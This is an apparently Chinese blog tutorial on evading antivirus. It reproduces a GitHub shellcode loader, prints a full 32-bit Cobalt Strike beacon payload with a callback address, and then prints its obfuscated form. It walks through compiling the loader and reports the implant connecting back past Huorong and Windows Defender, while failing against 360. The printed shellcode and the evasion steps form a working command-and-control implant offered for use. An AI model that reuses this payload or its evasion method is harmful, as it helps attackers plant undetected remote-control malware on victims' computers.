1. 别人的静态免杀
在Github
上看到一个c++
的免杀,在4月6号的时候,还是bypass
很多的,但是一个月过去了,我执行之后发现了只能过火绒:
项目地址:https://github.com/G73st/BypassAV
2. 复现其他师傅的免杀
2.1 c++部分
其实他这部分代码的逻辑就是一个利用自己的密钥进行解密,解密之后再申请内存,执行shellcode
,在这里先将别人的代码下载下来,在本地跑一下:
先把项目下载,然后把shellcode loader
中的BypassAV.cpp
代码复制下,然后新建项目打开,因为直接打开BypassAV.sln
的话,加载会出错:
新建一个项目:
在这里找到你要新建的文件夹:
在这里选择空项目,关闭安全开发生命周期检查,然后选择完成:
然后在源文件的位置->添加->新建项:
选择添加c++
文件,并修改名称:
将作者的代码复制过来:
此时告一段落,现在来搞另外一个部分:混淆代码
2.2 代码混淆
在本地启动cs
:
本地建立监听:
此时生成后门文件:
在这里选择c格式,在这里记得选择32
位的,不要选择64
位的,不然程序执行无效:
生成的shellcode
如下:
/* length: 796 bytes */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x21\x03\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x75\x38\x4b\x64\x00\x6c\x30\x45\x1d\x60\xa2\x8a\xdc\x45\x09\x45\x30\xd9\x69\xec\x89\x91\x91\xcb\xd4\xd0\x9c\x2a\x9c\x2b\xb9\xf9\xa4\x97\x1c\x8a\x3a\x5a\xb8\x90\xfc\x18\xcc\x1f\x36\x48\xb8\x2f\x31\xda\x2b\x21\xf6\x23\xea\x5b\xcb\x04\xe0\x89\x63\x96\x99\xfb\x18\x1f\xbe\x66\x3a\xc6\xd3\xe9\x74\xe7\xa9\x3c\xbb\xa6\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x53\x4c\x43\x43\x32\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x78\x98\x9c\x68\x36\x3a\xdd\x1d\x97\xb8\x34\xb0\xda\xc1\xac\xdf\xbc\x88\xfa\x09\x03\x20\xf9\x38\x9b\x35\xd3\x55\x2f\x84\x49\x9b\xc4\x71\x1a\x9e\xe8\x6a\x8c\x4d\x32\x2f\x49\x1a\x51\xa5\x58\xdb\x09\x46\x7b\x62\x78\xb1\x01\xf1\x39\x35\xd4\x2d\x4d\x81\xa9\x90\x19\x67\xee\x34\x84\xbe\x0d\x95\xf3\x0f\x4e\xee\xdd\x6a\xdd\x54\x09\x92\x00\x1f\x6f\x52\x91\xd0\x96\x3f\x86\x90\x36\x71\x09\x8b\x87\xe4\x34\xf5\x1a\xba\x44\xbb\x67\x9c\x7c\x25\x7c\x3a\x0c\xa5\x0f\x2b\x16\x7c\xad\x93\x52\x35\x9a\x5f\x4c\xaf\x11\xaf\x12\xf5\xad\xb7\x44\xbe\x4e\x42\xc6\xc8\xd6\xda\x4e\x50\xdc\xd7\x64\x78\x97\x9e\x41\x43\x9e\xe3\x32\x72\x43\xe0\x79\xcc\x0c\xe6\xc6\x2f\xb8\x69\x82\xf7\xec\x6b\x20\x1d\x3d\x69\xd5\x87\xab\x85\xd0\x1b\x42\x5a\xad\xd2\xb0\x65\x11\x5e\x70\xa9\x42\x2e\x4e\xb9\xbc\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x33\x30\x2e\x33\x2e\x31\x33\x36\x00\x19\x69\xa0\x8d";
在这里拿纯净的shellcode
部分:
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x21\x03\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x75\x38\x4b\x64\x00\x6c\x30\x45\x1d\x60\xa2\x8a\xdc\x45\x09\x45\x30\xd9\x69\xec\x89\x91\x91\xcb\xd4\xd0\x9c\x2a\x9c\x2b\xb9\xf9\xa4\x97\x1c\x8a\x3a\x5a\xb8\x90\xfc\x18\xcc\x1f\x36\x48\xb8\x2f\x31\xda\x2b\x21\xf6\x23\xea\x5b\xcb\x04\xe0\x89\x63\x96\x99\xfb\x18\x1f\xbe\x66\x3a\xc6\xd3\xe9\x74\xe7\xa9\x3c\xbb\xa6\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x53\x4c\x43\x43\x32\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x78\x98\x9c\x68\x36\x3a\xdd\x1d\x97\xb8\x34\xb0\xda\xc1\xac\xdf\xbc\x88\xfa\x09\x03\x20\xf9\x38\x9b\x35\xd3\x55\x2f\x84\x49\x9b\xc4\x71\x1a\x9e\xe8\x6a\x8c\x4d\x32\x2f\x49\x1a\x51\xa5\x58\xdb\x09\x46\x7b\x62\x78\xb1\x01\xf1\x39\x35\xd4\x2d\x4d\x81\xa9\x90\x19\x67\xee\x34\x84\xbe\x0d\x95\xf3\x0f\x4e\xee\xdd\x6a\xdd\x54\x09\x92\x00\x1f\x6f\x52\x91\xd0\x96\x3f\x86\x90\x36\x71\x09\x8b\x87\xe4\x34\xf5\x1a\xba\x44\xbb\x67\x9c\x7c\x25\x7c\x3a\x0c\xa5\x0f\x2b\x16\x7c\xad\x93\x52\x35\x9a\x5f\x4c\xaf\x11\xaf\x12\xf5\xad\xb7\x44\xbe\x4e\x42\xc6\xc8\xd6\xda\x4e\x50\xdc\xd7\x64\x78\x97\x9e\x41\x43\x9e\xe3\x32\x72\x43\xe0\x79\xcc\x0c\xe6\xc6\x2f\xb8\x69\x82\xf7\xec\x6b\x20\x1d\x3d\x69\xd5\x87\xab\x85\xd0\x1b\x42\x5a\xad\xd2\xb0\x65\x11\x5e\x70\xa9\x42\x2e\x4e\xb9\xbc\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x33\x30\x2e\x33\x2e\x31\x33\x36\x00\x19\x69\xa0\x8d
直接执行python3 BypassAV.py
之后,会出现卡死的问题,所以这里进行了一个小小的改动:我直接把input
屏蔽掉了,然后直接输出。
然后等待加密完成:
生成混淆之后的shellcode
:
527019643837973707320415151528632043778218372532553208237213320823722732082372753208322121522932302412032183799218328732472652843271172112073280375422012328837763715237234320823722632082662651237533208261327532003287322624112375323532082472713208233207123722377426524032082973208123721218379921832873247328037542201232882963771322437111032793713298327920632243776233320823320612372232573208227249320823327312372232081132081237533204263206206282282284238285232379937712332892853208223370932012803251322532523226153251322832593225325923132512463228203143799372021837992342342342342343251293236327232643799372037003207151515282218375223223232561023223232512001015152302353251234320432983283379937203709322728221837252373251151726132072372372372302372353251370923921629837993720320432833202328923521837992342343256379923023632512191627132703799372032003287229320732891215152183799320037163226113204371837091832513245328437762803799372032043280325126820028121837993720218379923432561423223623532513230234377122237993720328215214151529432883226323021837993700321912151537003752121515370732083799379937992143224296249325515325321326827828632673203377526818268213372432593706320432193219375037273753329621732962103239371832613292273320329328532313211379727137512022912473231214218372321020037162093701282375011377132042883295329037922712023285325729332833722370032263702326826532343266152393229325232212192693250325232253226293207244322232773259325332532842142972162132072152883222325832272843226325928332533252298207244230240268207296216213298207234325932253255322232283229207243231207291216218298207234248234291297298207231322132593255325232253226214297216213298207230246264264295298207216243268231207264246237207295216213216290213299295299212220225153275329732963251291293377227832923231297324637233280324737703233320637951810207371829632992903722239214320724032993286322027632933707325632152442952142402762323269233372818245327028332753244123712294290372721924432783268321127932503703297320732852203218371022924337033772325637722311832161520232222373219375332952603201321129132201832083209377329737192763236263323432503296327120432712932273269229210277327132403214237290329128924632492243249223371932403230263328524326632833755372137232432353775372932553275329232932692643293377429532212643771327237512273705328321432313259320537143706325420727826232593720320932423200375327426628532403725324632522242813227326826621624332393233153251371532323267236379937203256261325115226151532511515261152343251233326123037783799372032143239151515151237242322303204370223432511520715152302363251223329532043776379937203200328732263283320814123289320032873224377823332893707326837903799379921821321629221321629221621829229115279325932653212
放到原代码中:
选择Release
:
image.png
选择生成解决方案:
此时生成成功:
2.3 上线测试
2.3.1 无杀软的情况_Windows10
双击之后即可上线:
2.3.2 火绒_Windows7
2.3.3 360_Windows_失败
关闭360
的自动提交样本:
按位置扫描:
经过多次操作发现,当把shellcode
剔除之后再打包,依旧被杀,360
应该是对其中的某些关键字或操作进行了查杀,属于乱杀!
2.3.4 Windows Defender最新版
直接上去就没了,但是windows Defender
的优点就在于当你不加载shellcode
的时候,是不会静态查杀的!
3. 免杀Windows Defender
对于作者一个月以前的更新,可以过Windows Defender
,但是现在只能免杀火绒,在这里对此做一个小小的改动,就可以达到以前的那种效果,但是依旧无法过360(因为免杀一直会被标记,此处的tips
暂不提供,希望师傅能够理解)
此时最新版的Windows Defender
上线成功:
但是!!!这里依旧无法过360
。
4. 总结
在这个项目中,有一些坑:
- • 程序必须自己建一个工程,导入
c++
代码 - •
shellcode
必须是32
位的,不能是64
位的(我64位失败) - • 代码混淆部分,我也是建议各位将
shellcode
复制进去,直接出结果!(可能只有我受影响) - • 生成的程序在某些
windows10
或windows7
上无法有效运行!!!
当然,在这个免杀中,均属于静态免杀,有些属于乱杀,就像碰到易语言一样,大家都杀!
在这里看到作者对于shellcode
进行了混淆,主要是CS
的shellcode
现在烂大街了,谁家AV
没法查杀的话,就太丢面了,其实也可以使用msf
来混淆shellcode
,但是感觉作者这个思路蛮好的,作者在项目中说当时将shellcode
从本地加载改到了内部加载,其实我更倾向于分离免杀,甚至远程加载!
又学到新的姿势了,以上内容仅供参考,后续我再更新其他的吧!